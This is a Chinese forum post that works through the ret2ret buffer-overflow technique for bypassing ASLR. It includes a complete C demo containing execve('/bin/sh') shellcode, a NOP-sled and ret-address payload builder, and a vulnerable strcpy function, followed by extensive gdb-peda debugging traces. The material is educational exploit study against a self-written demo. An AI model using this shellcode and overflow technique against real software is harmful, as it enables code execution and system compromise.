昨天和 安wlaq 同学的帖子 《【求助】缓冲区溢出(ret2ret)的问题》进行了一些探讨,在刚刚看到这个帖子的时候去搜索了一下ret2ret这个方法,网上的资料比较少,几乎没有,于是感觉挺有意思,但实际上整个过程大概阅读了安wlaq同学给出的英文文献后感觉不难理解,主要利用的是程序领空的ret指令构成一个指令序列,利用缓冲区溢出将这个指令序列覆盖至某处指针之前,这样在指针低4位位置ret之后,会直接call那个指针的地址,形成了有点类似于虚函数中call [eax]的过程,这样如果指针中存放的是shellcode,那么我们就直接能执行shellcode从而绕过ASLR了。
后来安wlaq同学在调试的过程中碰到了一些问题,我刚才也进行了一下调试,我在2楼的回复也存在一些问题,感觉可能还是安wlaq在调试细节上存在一些小问题,由于这篇分析较长,所以就另起一贴,也欢迎更多的同学加入到探讨的行列中一起进步
在调试过程中,我越发觉得这个ret2ret的方法其实在实战环境下利用起来还是稍微有些苛刻,或许对于一些本地代码执行,或者说文件格式漏洞来说相对好用一些。
之前探讨的帖子地址:
【求助】缓冲区溢出(ret2ret)的问题
首先我没有使用安wlaq同学在帖子中后来给我的整合后的代码,他给出的代码是在参数初始化之后调用的init函数,这可能会影响到整个demo的执行流程,因为我们知道argv[1]作为main函数的传入参数,实在程序初始化之前就生成的,我在他的代码上又稍作了一点点修改。
重要:这个源码有一些问题,由于时间仓促没有做很好的修改,后续会提到如何修改,可以麻烦自己改一下,实在不好意思。。
#include <stdio.h>
#include <string.h>
#include <malloc.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68 ""//sh"
"\x68 ""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
char* init(void)
{
char *buff,*ptr;
long *adrptr;int i;
buff =malloc(280);
ptr=buff;
adrptr=(long*)ptr;
for(i=0;i<280;i+=4)
{
*(adrptr++)=0x08048568;
}
for(i=0;i<260;i++)
{
buff[i]=0x90;
}
ptr=buff+(260-strlen(shellcode));
for(i=0;i<strlen(shellcode);i++)
{
*(ptr++)=shellcode[i];
}
buff[280]='\0';
return buff;
}
void functionA(char *str)
{
char buffer[256];
strcpy(buffer,str);
}
void function(char *a)
{
int no=1;
int *ptr=&no;
functionA(a);
}
int main(int argc,char **argv)
{
argv[1] = init();
function(argv[1]);
}
这个代码仍然采用关闭DEP的方法编译,生成后通过gdb执行,首先来到init函数部分。
gdb-peda$ b *0x08048592
Breakpoint 1 at 0x8048592
gdb-peda$ r
Starting program: /root/Desktop/ret2ret
[----------------------------------registers-----------------------------------]
EAX: 0xbffff504 --> 0xbffff660 ("/root/Desktop/ret2ret")
EBX: 0xbffff470 --> 0x1
ECX: 0xbffff470 --> 0x1
EDX: 0xbffff494 --> 0xb7fb6000 --> 0x1a5da8
ESI: 0xbffff508 --> 0x0
EDI: 0x0
EBP: 0xbffff458 --> 0x0
ESP: 0xbffff440 --> 0x1
EIP: 0x8048592 (<main+27>: call 0x804845b <init>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804858a <main+19>: mov ebx,ecx
0x804858c <main+21>: mov eax,DWORD PTR [ebx+0x4]
0x804858f <main+24>: lea esi,[eax+0x4]
=> 0x8048592 <main+27>: call 0x804845b <init>
0x8048597 <main+32>: mov DWORD PTR [esi],eax
0x8048599 <main+34>: mov eax,DWORD PTR [ebx+0x4]
0x804859c <main+37>: add eax,0x4
0x804859f <main+40>: mov eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x1
arg[1]: 0xbffff504 --> 0xbffff660 ("/root/Desktop/ret2ret")
arg[2]: 0xbffff50c --> 0xbffff676 ("XDG_VTNR=7")
arg[3]: 0xbffff470 --> 0x1
arg[4]: 0xb7fb6000 --> 0x1a5da8
这个函数通过源码阅读可以知道,其实就是一个生成payload的过程,其中可以看到对于ptr指针的一些操作,这个源码不做具体讲解,稍微学过C预言的应该都不难理解,首先会调用malloc开辟一个280字节缓冲区,之后会对这个缓冲区进行覆盖,覆盖的内容是主程序领空里的ret地址,接下来程序会开始进行细节处理,首先是覆盖90,然后会在260字节偏移后开始覆盖shellcode,覆盖完成后返回。
首先在malloc位置下断点,单步步过之后可以获得malloc开辟缓冲区的首地址。
[----------------------------------registers-----------------------------------]
EAX: 0x804a008 --> 0x0
EBX: 0xbffff470 --> 0x1
ECX: 0xb7fb6420 --> 0x0
EDX: 0x804a008 --> 0x0
ESI: 0xbffff508 --> 0x0
EDI: 0x0
EBP: 0xbffff438 --> 0xbffff458 --> 0x0
ESP: 0xbffff420 --> 0x0
EIP: 0x8048472 (<init+23>: mov DWORD PTR [ebp-0x18],eax)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048465 <init+10>: push 0x118
0x804846a <init+15>: call 0x8048320 <malloc@plt>
0x804846f <init+20>: add esp,0x10
=> 0x8048472 <init+23>: mov DWORD PTR [ebp-0x18],eax
首地址是eax的值,也就是0804a008,之后一直执行到init函数返回,再观察一下返回后的开辟的缓冲区内容
gdb-peda$ x/100x 0x0804a008
0x804a008: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a018: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a028: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a038: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a048: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a058: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a068: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a078: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a088: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a098: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0a8: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0b8: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0c8: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0d8: 0x90909090 0x90909090 0x90909090 0x90909090
0x804a0e8: 0x90909090 0x90909090 0xc0319090 0x2f206850
0x804a0f8: 0x6868732f 0x69622f20 0x50e3896e 0x99e18953
0x804a108: 0x80cd0bb0 0x08048568 0x08048568 0x08048568
0x804a118: 0x08048568 0x08048568
到这里,和安wlaq同学提到的过程一样,也就是说到这里payload已经生成完毕,但实际上,安wlaq对于这个的疑问就是指针在哪里,其实这个关键的指针就在于全局变量
char shellcode[] =
在定义全局变量的时候,实际上就对于这个shellcode指针进行了赋值,且开辟了一片空间,那么当执行完生成payload之后,可以看到这片空间的指针已经进入栈空间了。
执行前
=> 0x804846a <init+15>: call 0x8048320 <malloc@plt>
0x804846f <init+20>: add esp,0x10
0x8048472 <init+23>: mov DWORD PTR [ebp-0x18],eax
0x8048475 <init+26>: mov eax,DWORD PTR [ebp-0x18]
0x8048478 <init+29>: mov DWORD PTR [ebp-0xc],eax
Guessed arguments:
arg[0]: 0x118
arg[1]: 0xbffff43e --> 0x10804
arg[2]: 0xb7e1cbf8 --> 0x2aa0
[------------------------------------stack-------------------------------------]
0000| 0xbffff410 --> 0x118
0004| 0xbffff414 --> 0xbffff43e --> 0x10804
0008| 0xbffff418 --> 0xb7e1cbf8 --> 0x2aa0
0012| 0xbffff41c --> 0xb7e411e3 (<__new_exitfn+19>: add ebx,0x174e1d)
0016| 0xbffff420 --> 0x0
0020| 0xbffff424 --> 0xc10000
0024| 0xbffff428 --> 0x1
0028| 0xbffff42c --> 0x80482dd (<_init+9>: add ebx,0x15df)
注意bffff410这个地址,当执行的时候shellcode全局变量被调用。
[-------------------------------------code-------------------------------------]
0x80484de <init+131>: mov eax,DWORD PTR [ebp-0x18]
0x80484e1 <init+134>: add eax,edx
0x80484e3 <init+136>: mov DWORD PTR [ebp-0xc],eax
=> 0x80484e6 <init+139>: mov DWORD PTR [ebp-0x14],0x0
gdb-peda$ x/10x 0xbffff410
0xbffff410: 0x080498e4 0xbffff43e 0xb7e1cbf8 0xb7e411e3
0xbffff420: 0x0804a008 0x00000104 0x0804a120 0x0804a0f2
0xbffff430: 0xbffff660 0xbffff470
这时再来观察bffff410这个地址位置,已经加载进了一处指针080498e4,那么这处指针实际上是
shellcode开辟的地址空间指针。
要覆盖的,也是到这个位置。
这个指针是一个很关键的,也就是后续我们需要利用的,来看一下这里的调试过程,根据我给出的程序代码,需要在function入口处下断点。
gdb-peda$ b *0x08048554
Breakpoint 4 at 0x8048554
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x804a008 --> 0x90909090
EBX: 0xbffff470 --> 0x1
ECX: 0x24 ('$')
EDX: 0xe
ESI: 0xbffff508 --> 0x804a008 --> 0x90909090
EDI: 0x0
EBP: 0xbffff458 --> 0x0
ESP: 0xbffff42c --> 0x80485aa (<main+51>: add esp,0x10)
EIP: 0x8048554 (<function>: push ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804854f <functionA+27>: add esp,0x10
0x8048552 <functionA+30>: leave
0x8048553 <functionA+31>: ret
=> 0x8048554 <function>: push ebp
接下来直接在最后strcpy触发缓冲区溢出位置下断点。
[-------------------------------------code-------------------------------------]
0x8048540 <functionA+12>: push DWORD PTR [ebp+0x8]
0x8048543 <functionA+15>: lea eax,[ebp-0x108]
0x8048549 <functionA+21>: push eax
=> 0x804854a <functionA+22>: call 0x8048310 <strcpy@plt>
0x804854f <functionA+27>: add esp,0x10
0x8048552 <functionA+30>: leave
0x8048553 <functionA+31>: ret
0x8048554 <function>: push ebp
Guessed arguments:
arg[0]: 0xbffff2f0 --> 0x1
arg[1]: 0x804a008 --> 0x90909090
arg[2]: 0x0
strcpy结束之后,继续执行到ret位置,观察esp栈帧上下文。
[-------------------------------------code-------------------------------------]
0x804854a <functionA+22>: call 0x8048310 <strcpy@plt>
0x804854f <functionA+27>: add esp,0x10
0x8048552 <functionA+30>: leave
=> 0x8048553 <functionA+31>: ret
0x8048554 <function>: push ebp
0x8048555 <function+1>: mov ebp,esp
0x8048557 <function+3>: sub esp,0x18
0x804855a <function+6>: mov DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff3fc --> 0x8048568 (<function+20>: in al,dx)
0004| 0xbffff400 --> 0x8048568 (<function+20>: in al,dx)
0008| 0xbffff404 --> 0x8048568 (<function+20>: in al,dx)
0012| 0xbffff408 --> 0xbffff500 --> 0x1
0016| 0xbffff40c --> 0x804851a (<init+191>: add esp,0x10)
0020| 0xbffff410 --> 0x80498e4 --> 0x6850c031
0024| 0xbffff414 --> 0xbffff43e --> 0x10804
0028| 0xbffff418 --> 0x1
看到这个覆盖了吗?08048568就是源码中给出的ret地址。。这里我忘了修改成我的环境下的ret地址。。所以显示有问题,而且可能由于版本的问题,覆盖位置没有到bffff410位置,可以看那里就是之前提到的80498e4指针。
接下来我修改了一下源码,把ret地址增加到288,重新编译,直接到ret位置再看一下。
[-------------------------------------code-------------------------------------]
0x804853f <functionA+22>: call 0x8048310 <strcpy@plt>
0x8048544 <functionA+27>: add esp,0x10
0x8048547 <functionA+30>: leave
=> 0x8048548 <functionA+31>: ret
0x8048549 <function>: push ebp
0x804854a <function+1>: mov ebp,esp
0x804854c <function+3>: sub esp,0x18
0x804854f <function+6>: mov DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xbffff3ec --> 0x8048568 (<function+31>: les edx,FWORD PTR [eax])
0004| 0xbffff3f0 --> 0x8048568 (<function+31>: les edx,FWORD PTR [eax])
0008| 0xbffff3f4 --> 0x8048568 (<function+31>: les edx,FWORD PTR [eax])
0012| 0xbffff3f8 --> 0x8048568 (<function+31>: les edx,FWORD PTR [eax])
0016| 0xbffff3fc --> 0x8048568 (<function+31>: les edx,FWORD PTR [eax])
0020| 0xbffff400 --> 0x80498e4 --> 0x6850c031
0024| 0xbffff404 --> 0xbffff42e --> 0x10804
0028| 0xbffff408 --> 0x1
由于我进行了一些代码上的调整,导致栈位置发生了改变,这么看的话,如果不断的ret,到指针位置的时候,就会跳转到80498e4位置执行shellcode了。
主要问题:
做完之后我发现,其实整个调用中跟中间ptr和no的关系并不大,于是我尝试删除了这些步骤,发现就找不到shellcode的指针了,漏洞也无法利用,这个问题还未解决,有待进一步探索。
---------------------------------------
2016-06-29 14:46更新
在文章最后抛出了一个问题后,我又进行了调试,发现上午可能最后赶着吃饭有点匆忙,我发现其实去掉ptr赋值和shellcode赋值之后,这个漏洞仍然可以利用,只不过利用点稍有不同
[------------------------------------stack-------------------------------------]
0000| 0xbffff3fc --> 0x8048568 (<function+20>: leave)
0004| 0xbffff400 --> 0x8048568 (<function+20>: leave)
0008| 0xbffff404 --> 0x8048568 (<function+20>: leave)
0012| 0xbffff408 --> 0x8048568 (<function+20>: leave)
0016| 0xbffff40c --> 0x8048568 (<function+20>: leave)
0020| 0xbffff410 --> 0x804a008 --> 0x90909090
0024| 0xbffff414 --> 0x1a
0028| 0xbffff418 --> 0xbffff448 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
gdb-peda$ x/10x 0x0804a008
0x804a008: 0x90909090 0x90909090
可以看到,经过一些payload长度的调整之后,之前shellcode指针位置的值变成了buffer头部的地址值。也就是说跳过90909090这些NOP,也是可以执行shellcode的。
安wlaq在下面对我抛出了疑问,我经过中午的仔细思考,觉得我的回复也有一定错误,他说的有一定道理。首先这个利用方式,确实不能把输入写在同一个代码里,因为在同一个代码里写输入的话,相当于确实有一个指针是指向buffer,或者说指向shellcode的,当这个指针在某处被推入栈中之后,我们就可以利用ret2ret的方法,覆盖到这个指针的位置。
那么在我上面的问题中,提到为什么删除ptr之后依然可以利用的问题也就得以解决,但是我想安wlaq同学忽略了一点,
就是argv这个指针,它指向的就是buffer,而argv指针作为参数是推入栈空间的,利用的就是覆盖到argv指针的位置就可以利用了。
那么我们换个角度来思考一下,我在这里也想分享一下我对这个ret2ret的方法的一些浅层次看法。首先,不要被DEMO束缚。可以这样理解这个利用:
这个利用方式的目的,是为了绕过ASLR,可以利用的点是一个栈溢出漏洞,而利用点是为了寻找一个指针,这个指针指向的是我们可控的一个区域,利用ret2ret的方法,利用程序领空的ret指令构造一个ret指令序列,在ret到这个指针的时候停止,这样就相当于最后会跳转到指针位置执行shellcode了。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)